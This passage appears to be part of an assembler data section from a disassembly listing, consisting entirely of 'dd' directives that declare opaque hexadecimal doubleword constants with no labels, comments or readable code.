		dd 809A3DF0h, 0CA9131F3h, 0D17199h, 0DB8D0000h,	7BD98C18h
		dd 1F7D30B4h, 0DA55D05Ch, 0C67280Bh, 61EFB1F6h,	34845EAEh
		dd 0AA6DCB7Eh, 2D03D21Eh, 0F9F60C6Bh, 944AD29Bh, 0ED77336h
		dd 64A98C5Bh, 66B6F60Ch, 65EFB816h, 971262B2h, 63D2A11Ch
		dd 0FCF60C64h, 645EDDACh, 0AFFFF60Ch, 8C4FADF9h, 605E4D00h
		dd 0A6BE8D08h, 66FC139Bh, 0EE349FA3h, 2EFD1062h, 0F00BCF0Fh
		dd 0FAB00050h, 9584D020h, 0F6451429h, 67F00BCFh, 7D4CC717h
		dd 0FA11BADAh, 2280FB4Bh, 2B89D55Bh, 0A81E064h,	1EB4CA38h
		dd 988156Bh, 3FEC0000h,	31F3519Dh, 30F957A3h, 560260ACh
		dd 470E6CB8h, 62836DB9h, 92DE6229h, 96E26C34h, 98E47238h
		dd 9DE9773Ah, 5DE0AF2Ah, 2F006FFh, 14DB3F23h, 23E64490h
		dd 4A654995h, 0FE79F474h, 6781B483h, 8EDEF60Ch,	67F14413h
		dd 1E6EF60Ch, 753B9968h, 1464FC13h, 3B23E661h, 0DC7F3A03h
		dd 6B5D1CD0h, 54A42CDEh, 0D8DCB591h, 0D88EC7FCh, 0B972609h
		dd 51DC0F0h, 0CB1EB476h, 0DDF499h, 0DB100000h, 0A3926118h
		dd 0D3F60C67h, 1D883C45h, 95F3CD06h, 429245D3h,	91EFA2F2h
		dd 0C49346CAh, 0F60CDB6Ch, 0CDB9255h, 0F60CD429h, 4A96E636h
		dd 0E89B29ECh, 28A3C5F9h, 0D45FDEADh, 0B37CF60Ch, 4C267629h
		dd 0FCCB46FCh, 0FC132BE0h, 36B1FD4Dh, 0D08311D8h, 0E3DBCA80h
		dd 8F3B0A85h, 0F4FA118Ch, 0F848CE96h, 0CC581F7Dh, 8C5BD651h
		dd 0F60243A9h, 0A49766B6h, 18F60243h, 243EA49h,	492373F6h
		dd 99F743F9h, 0E15423D2h, 7EF60243h, 77286B2Eh,	3FDC8957h
		dd 670590EFh, 8E41B4C9h, 86938h, 0BE5E0B00h, 0C4521472h
		dd 0CB511A78h, 0D775217Fh, 0DA662D8Bh, 4A83A48Eh, 53B1FD83h
		dd 57B5018Bh, 59B70391h, 4BBE0A96h, 0FE3201D0h,	4C2BF006h
		dd 9014DB68h, 9523E644h, 6BF9BC1Ah, 0DB8569B5h,	7BD98C18h
		dd 27E02CB8h, 3137879Fh, 7DB5E7B6h, 8CEAFC13h, 3C8C3FC5h
		dd 0F6837ECh, 4FF2D3C9h, 0AF7EF96Fh, 4DCE5C5h, 5DE0AF2Ah
		dd 7E08C41Ah, 2A7A2DBBh, 0FDB00050h, 0D85E2482h, 6A8B3322h
		dd 0F21182FEh, 4DC81833h, 0DED9AF7Eh, 45C01002h, 0C18A24E7h
		dd 419FEB3Bh, 0C93F27Eh, 44BC15C9h, 7C43B91h, 3B00000h
		dd 0EDAF0D59h, 0ECB5135Fh, 12BE1C68h, 0FBC2206Ch, 1E3F2975h
		dd 3E8A16DDh, 428E18E0h, 4C981EE4h, 519D2BEEh, 0A19463DEh
		dd 0BEF006FEh, 18DBFBDFh, 0BFB9AC19h, 0C7FDCDAAh, 3AB09A56h
		dd 0E396E636h, 0EAB9A568h, 0DBC08CBCh, 0D9D084BDh, 0C321717Ah
		dd 0CEBD7301h, 2EFD78F0h, 0FC13DEB2h, 55E3A503h, 0F69844A2h
		dd 53A3F343h, 0C0C98C07h, 0A98C5BBEh, 0B6F00B96h, 0C4DBA366h
		dd 51434A0Dh, 0CF113B94h, 0C6942A19h, 75C578FEh, 0DCDBAA25h
		dd 89FA11B2h, 9D60BE39h, 0A265C30Fh, 4A746316h,	0BD1124F3h
		dd 0FE4EF601h, 8E6433AEh, 0E3FC1B26h, 0F7047020h, 0F8487BC2h
		dd 33027Dh, 5DF00B22h, 7EDC570Dh, 66E12DBBh, 22191CEBh
		dd 0F646F00Bh, 911FE240h, 64F2B816h, 0B20CFBAEh, 646C3BB6h
		dd 0B1FA14D2h, 0CFA70261h, 18CBB4D7h, 6D5C2h, 4AF29F00h
		dd 50DEA0FEh, 57DDA604h, 5B01AD0Bh, 66EAB10Fh, 0CE0F301Ah
		dd 0CF2D7907h, 0D3317D07h, 0DD3B870Dh, 0CF428E1Ah, 0FDB68554h
		dd 0C8A7F006h, 0E6744AE4h, 0C944943Ah, 16FC6CFAh, 13D634FCh
		dd 6E21CB77h, 3E18CE1Eh, 7DF873EEh, 6F38FAEh, 0CA80D0F0h
		dd 0CF1BA96Ch, 6F22AE71h, 0A02F31F4h
		dd 9DD0E962h, 0A2C6F8E7h, 74585827h, 5DADFA19h,	0CA5DB5FEh
		dd 489E51B4h, 65Ah, 83CF6D1Ah, 89D56325h, 8EDA622Bh, 8EDA8430h
		dd 8FDB6930h, 7C4384A5h, 864EACF8h, 9056B400h, 9558B602h
		dd 0CD48BB07h, 6FC3FFEh, 5D4120F0h, 79F4744Ah, 16FD0FAAh
		dd 8D0858FCh, 94E06C2Fh, 32E57336h, 72ED7B43h, 1C69CFA3h
		dd 59D424FAh, 60AC38FBh, 36B13F02h, 6649ECBBh, 0B816F60Ch
		dd 611767F5h, 0CD533AEh, 5012D588h, 0C9DE03C5h,	2F1ED424h
		dd 8F5ED98Fh, 0FC139001h, 0D6E74696h, 0B2AED111h, 5D0A9FFh
		dd 0F7A40000h, 0E9AB0955h, 0E8B10F5Bh, 0EBA1864h, 0FFC62470h
		dd 1A3B2571h, 4A961AE1h, 4E9A24ECh, 509C2AF0h, 55A12FF2h
		dd 0A59867E2h, 0BAF006FCh, 0FBBEF7DBh, 957D6DAAh, 3F9D5331h
		dd 0C23DF07Ch, 3CE9E9FFh, 0B7650412h, 1A6A2DA0h, 0CC2AE00Eh
		dd 402F7B09h, 116FEA7Eh, 0BE0EC14Fh, 82BE8D08h,	0F3FC1358h
		dd 1E21F0A3h, 0D8F00B57h, 38B31D35h, 0B57CA69h,	8D4393F0h
		dd 0CA5B2BEDh, 496B99h,	0BE870000h, 0B00E9860h,	58A85BE9h
		dd 5D0BB3A2h, 38BE84E2h, 0A4380782h, 0F9FC1375h, 8FDA0436h
		dd 2C7C353Eh, 0C87AA79h, 834CF00Bh, 1FE846F9h, 0AB4EE295h
		dd 680B5493h, 0BF88E6CEh, 7C328235h, 0CA9A1ADCh, 0E25A99h
		dd 0DB760000h, 7BD98C18h, 0D45A22B4h, 0E8AB0984h, 0A359A95Ch
		dd 8EB275F0h, 0D0A3013Eh, 15CD51E6h, 7BF4C752h,	134184B8h
		dd 9E54F9AEh, 3CEF7D40h, 128D1BDEh, 0AF62ECB4h,	8E5DA95Fh
		dd 0F60CACB2h, 0E430BC7Fh, 8235C386h, 0C23D2B93h, 47C293FFh
		dd 0F242F57Fh, 6FD6892Fh, 0B527E2ACh, 994F0BB9h, 9894F1Eh
		dd 27DFC13h, 0BC60033h,	570D5DF0h, 0F2E12D7Dh, 3ECC8ECCh
		dd 0F241108Bh, 6BF00BC6h, 3908CB1Bh, 0FF4DFE38h, 0EFBE3989h
		dd 0FA11AEB3h, 0EF4DC818h, 0D5509C28h, 7026AE77h, 66C54B12h
		dd 0B4CA2461h, 5F3C9245h, 15000004h, 1A78C468h,	207ECA58h
		dd 2381CD57h, 2B89D577h, 0AA94E064h, 0FB895089h, 38951AFh
		dd 0D9359B7h, 14A063C1h, 0BDA55C8h, 0F006FA28h,	0DB725635h
		dd 0E6449014h, 65499523h, 79F4744Ah, 17CD6F1Bh,	0FE5E219Ch
		dd 7B6E0931h, 8D0FDE94h, 71FC134Ch, 7B8408AEh, 954B4085h
		dd 8077F8BBh, 41776EA0h, 0B52C372h, 0FC4C9CF0h,	207EF9ACh
		dd 0CC1CCF5Dh, 52F84716h, 5BFEF00Bh, 63F2B4C3h,	0E3299CAh
		dd 4E000001h, 926118DBh, 0F60C67A3h, 691C6CBCh,	0DC0440Bh
		dd 0C6BE23Eh, 800CCFF6h, 8513D634h, 1ADBE3D2h, 9200D26Fh
		dd 49FCE51Ah, 27FDA76Ah, 51209BEBh, 0FC13ED87h,	8574C010h
		dd 0D55B2139h, 782D222h, 0AFFE6044h, 1ED28CC3h,	62967115h
		dd 6BE69CECh, 1192C59Ch, 6A3391FAh, 5D55E8B7h, 0BA0AF602h
		dd 0B167B76Ah, 490C87D7h, 25F645C3h, 0D783E1F6h, 0A6047F35h
		dd 8A0551DFh, 7934E6C7h, 26C8BAAh, 0C184D4F6h, 0EE69CCB3h
		dd 26C1C1Fh, 3BF141F6h,	2B8A16DDh, 0B4CA2EA6h, 3B71C77Ah
		dd 39000003h, 46A4F08Ch, 4CAAF684h, 4FADF983h, 4FADF9A3h
		dd 0C6B0FC88h, 179D64A5h, 1FA56DCBh, 21AF75D3h,	28B477D5h
		dd 1FEE69DCh, 0F006F91Ch, 0DB7E6241h, 3B21D14h,	5D49A7C5h
		dd 9DCF920Dh, 0FD8B4D9Bh, 2DA1693Ah, 0A91B566Ah, 0F8AE3A48h
		dd 0E7B631ACh, 0F60C1354h, 49114609h, 0E4341E62h, 0BD80DE94h
		dd 0ED68E32Fh, 0C0B1F1Eh, 3AF040F6h, 8C18DB56h,	2CB87BD9h
		dd 0F99D27E0h, 9A50D49Bh, 0DA5513ABh, 137DC90Bh, 0CDB56FCh
		dd 0F00B7229h, 49ECBB36h, 16F00B72h, 712676C6h,	89AC7BF6h
		dd 0D6F00B72h, 7225AF78h, 4D1CD222h, 9C46CB8Ah,	35B0B806h
		dd 617BF7BAh, 382013E2h, 0ED3D543Eh, 0C1E43D2Ah, 0E4083C0Bh
		dd 0B2755E21h, 0A29052FFh, 6518680Ch, 0A5204876h, 239377D6h
		dd 0FD78C858h, 984ED69Fh, 7B44A21Dh, 43D193F1h,	0E06C2F8Dh
		dd 181BEA65h, 4554335Ch, 95F33FF5h, 0F4E746D2h,	941298FEh
		dd 2348BE1h, 93400000h,	7D3F9DE9h, 7C45A3EFh, 0A24EACF8h
		dd 8B52B0FCh, 0AECFB905h, 0CE1AA66Dh, 0D21EA870h, 0DC28AE74h
		dd 0E12DBB7Eh, 1124F36Eh, 4EF006F8h, 18DB8B6Fh,	67A39261h
		dd 6CBCF60Ch, 671322F1h, 0FC4CF60Ch, 0B40AF9ACh, 0C66A39B4h
		dd 8FFC1379h, 75F64514h, 1CE3F00Bh, 0AB6EBE98h,	59C986B6h
		dd 83CF1F31h, 0A01E36CAh, 0AF8A4DC8h, 0B156E009h, 67B73D06h
		dd 356736B1h, 6AFA14F2h, 0AF96651Ah, 0EBB29A4Ch, 4B1A95D3h
		dd 409D70A1h, 0BF4D0F6Dh, 8FC67544h, 47974C85h,	0B467B791h
		dd 0F46FF9C5h, 868AB679h, 32F6940Dh, 0EC9EAD7Ch, 81DF469Fh
		dd 338336BAh, 470A68E3h, 94F26DB9h, 449447CDh, 0DF6D308Eh
		dd 54F66580h, 0F84E01F8h, 166h,	6FBB610Eh, 75C14F11h, 7AC64E17h
		dd 82CE701Ch, 8BD75D24h, 804780A1h, 824AA8F4h, 8C52B0FCh
		dd 995CBA06h, 0D14CBF0Bh, 6C73302h, 694D2CF0h, 0D98C18DBh
		dd 0B69D4EAh, 42F1C044h, 1BF60C67h, 31007BCBh, 0FC138E1Fh
		dd 0DA9D1868h, 1282D371h, 0B37AD8A7h, 722B772Dh, 71F7C7DFh
		dd 5B1D7BF6h, 0C571ACDh, 24484B84h, 15E49AEAh, 0FA146EC7h
		dd 2F8D0858h, 6E23D983h, 0FF523C9Fh, 0F6724CAEh, 6EC0AC7Bh
		dd 0DD2D44E1h, 0B83E0462h, 580E945Ah, 6008B6A5h, 20EF6AE5h
		dd 48F9911Dh, 6D3CF242h, 42E32EDEh, 0D954CF1Fh,	0E1AC8F5Eh
		dd 61B14EF3h, 0FEB44003h, 34FDDA0h, 9C48E2A5h, 9FEF3FF2h
		dd 0D8B4AF40h, 3E9447FBh, 9Ah, 438F2DDAh, 499523E5h, 4E9A22EBh
		dd 4E9A44F0h, 4F9B29F0h, 3C034465h, 460E6CB8h, 501674C0h
		dd 551876C2h, 8D087BC7h, 6C77FBEh, 1D01E0F0h, 0F9D60BEh
		dd 0F8560C5Ch, 5F4A735h, 6534AFB9h, 0FC139793h,	0B9A8F444h
		dd 19E86305h, 0FA11D266h, 6ECC7FCFh, 73D11DABh,	0A27124B0h
		dd 25B68A20h, 0F3FE58FBh, 0FA58A430h, 4BD99B37h, 3EEA48FBh
		dd 0EFC7A42Dh, 602968D1h, 89D929DCh, 4FF28639h,	9927EAF7h
		dd 0A02CEF4Dh, 0EA76225h, 568E94E8h, 397EDA0h, 0B3000000h
		dd 2EDB694Dh, 0BA7DDB8Eh, 571D7B2Eh, 0F0B816C9h, 8E55B366h
		dd 2AF14F02h, 0E995F3A6h, 69329043h, 10D230E3h,	567ECF82h
		dd 0C681E689h, 4, 8704EE83h, 895C2434h,	2B682414h, 89000075h
		dd 9B682404h, 89000071h, 78B8243Ch, 2D471A6Ah, 59B44DD5h
		dd 0F64EB52Dh, 40D8F712h, 518FBA52h, 0D0212E73h, 8604055Ah
		dd 8B54E1FAh, 0C483243Ch, 81505604h, 0FC72404h,	815E1FE4h
		dd 0E40FC7EEh, 877891Fh, 243C8B5Eh, 81E78957h, 4C7h, 4C78100h
		dd 87000000h, 8B5C243Ch, 89562404h, 4C681E6h, 83000000h
		dd 348704C6h, 3AE95C24h, 4AFFFCDAh, 0C590DAEAh,	0B89EA1EEh
		dd 60AA1BEh, 0E0FFC503h, 67909BA1h, 5BDD6D11h, 2A028B47h
		dd 4555AE00h, 7F267A43h, 77F3E2C0h, 52E76019h, 3B17F713h
		dd 133E8614h, 458021D4h, 39EBh,	2CC00BFh, 2E400BFh, 0BFh
		dd 73620000h, 7F4C46F3h, 77EC77EAh, 73B523FBh, 340C4EF0h
		dd 1ADC4FFAh, 561C77D0h, 6E6223D2h, 747353D1h, 7F794BCAh
		dd 7A8547FFh, 0A8FB6B7h, 0DAEA2599h, 323DAEADh,	0A7DB2599h
		dd 1C2B218Fh, 991F569Eh, 1D064623h, 3F12398h, 0DA4970CEh
		dd 1A659A26h, 3735AA9Eh, 975E24AEh, 13868B03h, 41C5DC98h
		dd 7FB6A0C6h, 1A832493h, 499234EAh, 1A659A26h, 3735AA9Eh
		dd 975E24AEh, 138BB403h, 41C5DC98h, 4B0B49C6h, 1A852076h
		dd 0D99B039Eh
		dd 3E2DAAC7h, 3EF4A29Ah, 1A58359Ah, 0D97D629Eh,	7047BA72h
		dd 19E3739Eh, 3A85239Eh, 939AE0C6h, 9B6507DAh, 2B407DAh
		dd 5A58239Eh, 0B5A2E0CEh, 7CC9C691h, 0DA80D815h, 0F2D723F4h
		dd 1AC2239Dh, 40A279BEh, 1E947717h, 1E7C671Fh, 1A2C238Bh
		dd 0EBD571DCh, 17B6A85Ah, 0DC832498h, 1DD7061Bh, 1A0B7598h
		dd 1AB3CBCEh, 4278239Eh, 5EA57B5Dh, 5E9727BAh, 1A1327BAh
		dd 4AC5239Eh, 0A813AA5Dh, 87E8D1BAh, 1CB70323h,	0FCBF4F6h
		dd 916C9DF6h, 1E97150Dh, 892F58BAh, 0E66BA3AAh,	67F9661h
		dd 1A0B2599h, 1AB3CBCBh, 4778239Eh, 76A57E5Dh, 5E9727BAh
		dd 1A1D27BAh, 4FC0239Eh, 0D6D1125Dh, 660B615h, 9F3D2599h
		dd 1C52536Ah, 0C3973E24h, 0F3C6DCD2h, 1A0B2393h, 3FD85A42h
		dd 17189AB5h, 58196157h, 7AB4490Fh, 7239E815h, 86772711h
		dd 1A162B76h, 1A23149Eh, 21398404h, 3452C97h, 0F361239Eh
		dd 1AB0238Ah, 6DE57717h, 0FCD56715h, 5EAB5836h,	0CB1492A5h
		dd 71781216h, 3EC6A2C0h, 79C428EFh, 1AB6A991h, 8F69239Eh
		dd 1C2B37CFh, 0A3E736F6h, 0A26D43AAh, 136D3654h, 7EC2239Eh
		dd 9EB9548Ah, 24EE4391h, 1A58A091h, 7B77239Eh, 0E332171Fh
		dd 703F9A6Dh, 196D769Eh, 3AC2239Eh, 933CE0C3h, 9BB407F2h
		dd 25C07DAh, 5F2C239Eh,	5901E0CBh, 0F3455317h, 1A852394h
		dd 0FBE1C993h, 0F506183Ch, 1ADAAF59h, 0F20F23F4h, 1A2C239Dh
		dd 45D57CBEh, 1E2F5F17h, 1EA1671Fh, 1AC2238Bh, 55A274D9h
		dd 0E549A85Fh, 9E3D9A4Eh, 10C50905h, 0CB16239Eh, 71A44968h
		dd 99760E7Eh, 9F47AAC3h, 7C67293Ch, 91E12E24h, 18942666h
		dd 9FA5239Eh, 1C1C8117h, 9313E31Dh, 1027AE1Bh, 0A3021098h
		dd 1A612172h, 1ADA896Dh, 1A5BCBCCh, 400C239Eh, 4E9F795Dh
		dd 5E8A27BAh, 1A9027BAh, 4880239Eh, 9142835Dh, 1D9FAA0Bh
		dd 0D0EF2C98h, 0F09A658h, 70552599h, 19E3749Eh,	3A85239Eh
		dd 939DE0C1h, 9B6507E2h, 0FB407DAh, 5D58239Eh, 0F771E0C9h
		dd 0EB83AAFEh, 910D2487h, 1D9F760Bh, 56734298h,	5EF1D5F6h
		dd 0F3D043A5h, 1A582390h, 190E0DC4h, 0B1760153h, 0DE6B96E6h
		dd 40D39170h, 1E4342FFh, 38BB4BBAh, 4DB049FFh, 1A582076h
		dd 0D973039Eh, 3E6AAAC1h, 3E4FA29Ah, 1A85379Ah,	0D995649Eh
		dd 0E5B7A839h, 1DAC9E2Bh, 0EEDDAE98h, 702A29EEh, 19FE719Eh
		dd 3A0B239Eh, 93DFE0C4h, 9BC607CAh, 66507DAh, 58B0239Eh
		dd 0ECEE0CCh, 0E4220017h, 93174800h, 1D000E23h,	9155DC98h
		dd 1DC91613h, 0C7E4AA98h, 91B62485h, 1D4D9623h,	8B99AA98h
		dd 9710248Eh, 1D1D8A1Bh, 4C854998h, 1AC22076h, 0D93F039Eh
		dd 3EC4AAC0h, 3E1CA29Ah, 1A2C349Ah, 0D940659Eh,	66178C9Bh
		dd 1A852877h, 0A6013E9Eh, 0F832DB29h, 4D26B272h, 96DA617h
		dd 1A462599h, 1A15CBCFh, 432B239Eh, 560C7A5Dh, 5E4327BAh
		dd 1A7A27BAh, 4BF1239Eh, 59D3775Dh, 0B0163D83h,	3F93E52Dh
		dd 490D248Bh, 0F2D023F4h, 1AC2239Dh, 47A27EBEh,	1E944F17h
		dd 1E7C671Fh, 1A2C2389h, 0AAD576DBh, 9A3293A7h,	0AF0E9473h
		dd 1CC5383Fh, 0E7B72FF6h, 63B2C7Eh, 1558239Eh, 1A2C3516h
		dd 1A06CB9Eh, 9CA3239Eh, 0F7552268h, 87B40B73h,	0C742653Ah
		dd 9BE9C2F6h, 848C07AAh, 1A463FD2h, 1A15CBCEh, 422B239Eh
		dd 5E0C7B5Dh, 5E4327BAh, 1A7C27BAh, 4AF0239Eh, 948625Dh
		dd 0D8A44F23h, 0E52F0751h, 1D179E2Bh, 48854998h, 1AC22076h
		dd 0D93B039Eh, 3EE4AAC4h, 3E1CA29Ah, 1A2C3F9Ah,	0D944619Eh
		dd 0EBE4A233h, 6BCEB952h, 0EE47AEB8h, 706729EEh, 1958709Eh
		dd 3A58239Eh, 9377E0C5h, 9B1207C2h, 30F07DAh, 5985239Eh
		dd 7C93E0CDh, 80D1CDCh,	576199F8h, 1A59A991h, 0E5D9239Eh
		dd 4916494Eh, 1A0B2076h, 0D9DE039Eh, 3E9EAAC5h,	3E25A29Ah
		dd 1AB03A9Ah, 0D90B609Eh, 0D0F0A07Ah, 0CD9D37F6h, 162A617h
		dd 0DC792599h, 1DD7061Bh, 0F4DE7098h, 0F2E0346Eh, 1A58239Ah
		dd 0C234E72Dh, 75A50421h, 0D2BD73C4h, 1EA16715h, 0F24871CEh
		dd 9C6E1291h, 1AB02398h, 2B5771CEh, 42767BC4h, 9FE2315h
		dd 0B00B239Eh, 0CCFE0831h, 6815E8EFh, 6F151FCDh, 0F546DFC5h
		dd 0ECEDE7C2h, 3E68AAC7h, 1576759Ah, 1A0B231Fh,	7BDE739Eh
		dd 0F8437BC0h, 29A342EBh, 60D9661h, 0AFD12599h,	1C2B3FB7h
		dd 0DCBBEB7h, 9F862599h, 1C8F536Ah, 0F29523F4h,	1A61239Dh
		dd 45737CBEh, 1E7C5F17h, 1E08671Fh, 1A162382h, 8C874D9h
		dd 0C00A0C5h, 4CBDDE43h, 0C24A617h, 914C2599h, 1D7F1E0Bh
		dd 15FCDC98h, 1A162017h, 0D4B42C9Eh, 0CC4A617h,	9F042599h
		dd 1C6636BBh, 48B049D9h, 1A582076h, 0D976039Eh,	3E42AAC4h
		dd 3E4FA29Ah, 1A85399Ah, 0D990619Eh, 0EF1827AAh, 0F2272101h
		dd 1A58239Ah, 0ADF2FE37h, 4ADEA8F8h, 1E2F6715h,	983F2315h
		dd 93AC809Eh, 426507DAh, 1AB02977h, 1955E79Eh, 2D017FF8h
		dd 91707B8Ch, 0A7BEDC64h, 70832482h, 192A709Eh,	3A61239Eh
		dd 93EBE0C5h, 9B5C07C2h, 0E2807DAh, 5916239Eh, 2B6BE0CDh
		dd 1DB71613h, 0EE47AE98h, 706729EEh, 1958709Eh,	3A58239Eh
		dd 9377E0C5h, 9B1207C2h, 10F07DAh, 5985239Eh, 9C97E0CDh
		dd 0FEAEA1C7h, 0CA4F965Dh, 0F20B23F4h, 1A2C239Dh, 41D578BEh
		dd 1E2F7F17h, 1EA1671Fh, 1AC2238Ah, 31A270DDh, 1639AE17h
		dd 9FD12599h, 1C2B3A33h, 0F24523F4h, 1A0B239Dh,	414678BEh
		dd 1EE67F17h, 1E45671Fh, 1AB02386h, 0E9B70DDh, 28187F21h
		dd 1A162C77h, 1861889Eh, 0D17FB82Ah, 2A9C3978h,	755B06BCh
		dd 0F95A658h, 0AB1F2599h, 72FAA898h, 7AC5D4ECh,	63627920h
		dd 3E81A2F6h, 3BCA3A96h, 0F23223F4h, 1AB0239Dh,	419B78BEh
		dd 1E087F17h, 1E32671Fh, 1A0B2383h, 0D94670DDh,	0C602942h
		dd 2A467682h, 0E43B45CBh, 34BD9E15h, 0AFD32599h, 1C113F23h
		dd 0F25D23F4h, 1A85239Dh, 44017DBEh, 1E455717h,	1E94671Fh
		dd 1A58238Bh, 77EF75D8h, 9F9BDA0Bh, 1C01536Ah, 0F2D323F4h
		dd 1AC2239Dh, 44A27DBEh, 1E945717h, 1E7C671Fh, 1A2C2383h
		dd 0EED575D8h, 0D4CE934Bh, 4F4C4508h, 0A34FAAFCh, 156724B0h
		dd 0CA4FD321h, 0F20823F4h, 1A2C239Dh, 42D57BBEh, 1E2F6717h
		dd 1EA1671Fh, 1AC2238Bh, 82A273DEh, 0F8314544h,	9FD1CD47h
		dd 1C2B0B93h, 366FB617h, 8F802599h, 1C82273Bh, 0FE7A658h
		dd 70262599h, 1958759Eh, 3A58239Eh, 9372E0C0h, 9B1207EAh
		dd 30F07DAh, 5C85239Eh,	0DC3EE0C8h, 996B64h, 1AB02776h
		dd 0D7647E9Eh, 169A7334h, 1E326715h, 1A800A2Fh,	0CA39E820h
		dd 3E86AACFh, 1A71CA9Ah, 0F3D3239Eh, 0ABF65923h, 6650A18Ah
		dd 5B644EC8h, 70532D43h, 196D729Eh, 3AC2239Eh, 9338E0C7h
		dd 9BB407D2h, 35C07DAh,	5B2C239Eh, 9FA0E0CFh, 63E4FAB5h
		dd 6389661h, 1AA82599h,	1A62CBC8h, 4490239Eh, 6ED17D5Dh
		dd 5EAD27BAh, 1A0B27BAh, 4C4D239Eh, 14F2395Dh, 0D38C6C34h
		dd 97EFC413h, 10C0D71Bh, 4BD5AA98h, 0E52A248Ah,	4916494Eh
		dd 1A0B2076h, 0D9DE039Eh, 3E9EAAC5h, 3E25A29Ah,	1AB0369Ah
		dd 0D90B609Eh, 0AF079658h, 1C11341Fh, 3DF2A617h, 97AC2599h
		dd 1CC503ABh, 1A0BF361h, 1AB3CBCCh, 4078239Eh, 4EA5795Dh
		dd 5E9727BAh, 1A1C27BAh, 48C7239Eh, 10C68C5Dh, 67E4AAC4h
		dd 9BB62482h, 0DCB13457h, 0C2A045B2h, 1E32D415h, 0F25E23F4h
		dd 1A85239Dh, 47017EBEh
		dd 1E454F17h, 1E94671Fh, 1A582387h, 0DBEF76DBh,	8885A2F7h
		dd 1A03CA55h, 59F8239Eh, 5474F1F1h, 2B016A8Ch, 1DBD2213h
		dd 21E04598h, 0DA2642FCh, 192CA791h, 1A61239Eh,	1A86CBCEh
		dd 42E2239Eh, 5EE87B5Dh, 5E3127BAh, 1A4C27BAh, 4A6C239Eh
		dd 979D835Dh, 1C0C212Bh, 0DC4EA8F8h, 1DD7061Bh,	1A0B6C98h
		dd 1AB3CBCCh, 4078239Eh, 4EA5795Dh, 5E9727BAh, 1A1627BAh
		dd 48C7239Eh, 6CBB945Dh, 174D5B22h, 0A88B3565h,	4E984B93h
		dd 0AB9AD68Ch, 1E32171Fh, 0F341B1A6h, 1A852397h, 2D51B7B0h
		dd 0BDFB23B6h, 2F2D0A22h, 0E55E248Eh, 1D309E2Bh, 79CCA298h
		dd 970CBA14h, 10F5D71Bh, 0CF4FAA98h, 0E5672493h, 0D00F2C4Eh
		dd 707CE31Dh, 19C4759Eh, 3A16239Eh, 9355E0C0h, 9B8107EAh
		dd 0CC607DAh, 5C61239Eh, 0C1DAE0C8h, 3BDD12F6h,	932A24ACh
		dd 1D13421Bh, 4D0B4998h, 1A852076h, 0D99D039Eh,	3E1DAAC1h
		dd 3EF4A29Ah, 1A583E9Ah, 0D97B649Eh, 4CEC0F31h,	0FA22F51Dh
		dd 136C5865h, 0D4C2239Eh, 0F1C71069h, 9CF14E21h, 4D99A2F8h
		dd 67A9A8FFh, 70102482h, 19E3749Eh, 3A85239Eh, 939DE0C1h
		dd 9B6507E2h, 1B407DAh,	5D58239Eh, 7906E0C9h, 34E50120h
		dd 87802287h, 1C820467h, 0F29023F4h, 1A61239Dh,	407379BEh
		dd 1E7C7717h, 1E08671Fh, 1A162382h, 22C871DCh, 0F1B44DEDh
		dd 5B62249Eh, 1A61AB91h, 90F3239Eh, 0F343A874h,	1A2C2392h
		dd 0A3B90BA2h, 0CEC0A3C8h, 6A3E6D0Fh, 1AA83815h, 1A62CBC8h
		dd 4490239Eh, 6ED17D5Dh, 5EAD27BAh, 1A0E27BAh, 4C4D239Eh
		dd 0D066EB5Dh, 0A590CBABh, 14DDF15Ch, 70ABA8C4h, 19B0719Eh
		dd 3A2C239Eh, 934CE0C4h, 9B0F07CAh, 68107DAh, 58C2239Eh
		dd 1E95E0CCh, 87162E27h, 15907B0Ah, 1A2C201Eh, 50CCA39Eh
		dd 16747B27h, 705D10A1h, 192A709Eh, 3A61239Eh, 93EBE0C5h
		dd 9B5C07C2h, 62807DAh,	5916239Eh, 931CE0CDh, 0F7199622h
		dd 91463E9Fh, 1D4C262Bh, 732DAA98h, 0DC5E248Bh,	1D39061Bh
		dd 1A7C6498h, 1A08CBCFh, 43A5239Eh, 564B7A5Dh, 5EE027BAh
		dd 1AAC27BAh, 4B19239Eh, 33F3905Dh, 0D422BBF1h,	12E25C49h
		dd 2185239Eh, 0D18AC038h, 729FDB82h, 845581B5h,	1A583077h
		dd 0D12BC29Eh, 3105F583h, 26E7BCA1h, 0E71B1B41h, 19DF457Ch
		dd 6445271Fh, 70A8DAA5h, 19B0769Eh, 3A2C239Eh, 934BE0C3h
		dd 9B0F07F2h, 18107DAh,	5FC2239Eh, 2C9AE0CBh, 7ECC6928h
		dd 0A769B072h, 1C2B361Fh, 6AB9661h, 8F802599h, 1C82265Fh
		dd 6A36A613h, 13892594h, 0DBB0239Eh, 0A2894CC6h, 94A772DCh
		dd 91C6DCC1h, 0B78EAA49h, 0EF832487h, 4FC249DEh, 1A612076h
		dd 0D9ED039Eh, 3E34AAC3h, 3E68A29Ah, 1A16389Ah,	0D95E669Eh
		dd 5C47EA13h, 0EF3297BFh, 1A0B2315h, 1AB3CBCBh,	4778239Eh
		dd 76A57E5Dh, 5E9727BAh, 1A1F27BAh, 4FC0239Eh, 92B9E5Dh
		dd 5761239Eh, 142E88F0h, 8C80EA4Dh, 47818B66h, 0F6B49BAFh
		dd 1A80AECFh, 1124A617h, 9F4B2599h, 1C660ADBh, 1B86CA67h
		dd 1A32239Eh, 1A2FCBC9h, 4536239Eh, 66827C5Dh, 5E0427BAh
		dd 1ADA27BAh, 4D26239Eh, 88990B5Dh, 0AF7BFE87h,	1C2B12A7h
		dd 0B8BDA613h, 1A612594h, 1A86CBCCh, 40E2239Eh,	4EE8795Dh
		dd 5E3127BAh, 1A4E27BAh, 486E239Eh, 0E31CBE5Dh,	777F9AF8h
		dd 0A0C2CCEh, 0F3C2239Eh, 1A612395h, 4F179A10h,	0EC4BB0AEh
		dd 93A5D4EAh, 1A7C079Ah, 1A08CBCBh, 47A5239Eh, 764B7E5Dh
		dd 5EE027BAh, 1AAA27BAh, 4F1D239Eh, 0A12EB85Dh,	5753E0AAh
		dd 39FAB661h, 0AF0E2599h, 1CC50DF3h, 0B8D0BE13h, 8F392594h
		dd 1C5F3587h, 7C7E73CEh, 2B19D315h, 2B0471CEh, 1A852677h
		dd 71D98A9Eh, 423B2092h, 6397BC4h, 4F5849BAh, 1A2C2076h
		dd 0D94B039Eh, 3E67AAC3h, 3EC1A29Ah, 1AC2389Ah,	0D934669Eh
		dd 423CABF8h, 65BB48CEh, 35819E15h, 93192599h, 1A0B2385h
		dd 1A852C76h, 0B5B5529Eh, 1C2DA4A0h, 0A541A3E2h, 575D38CDh
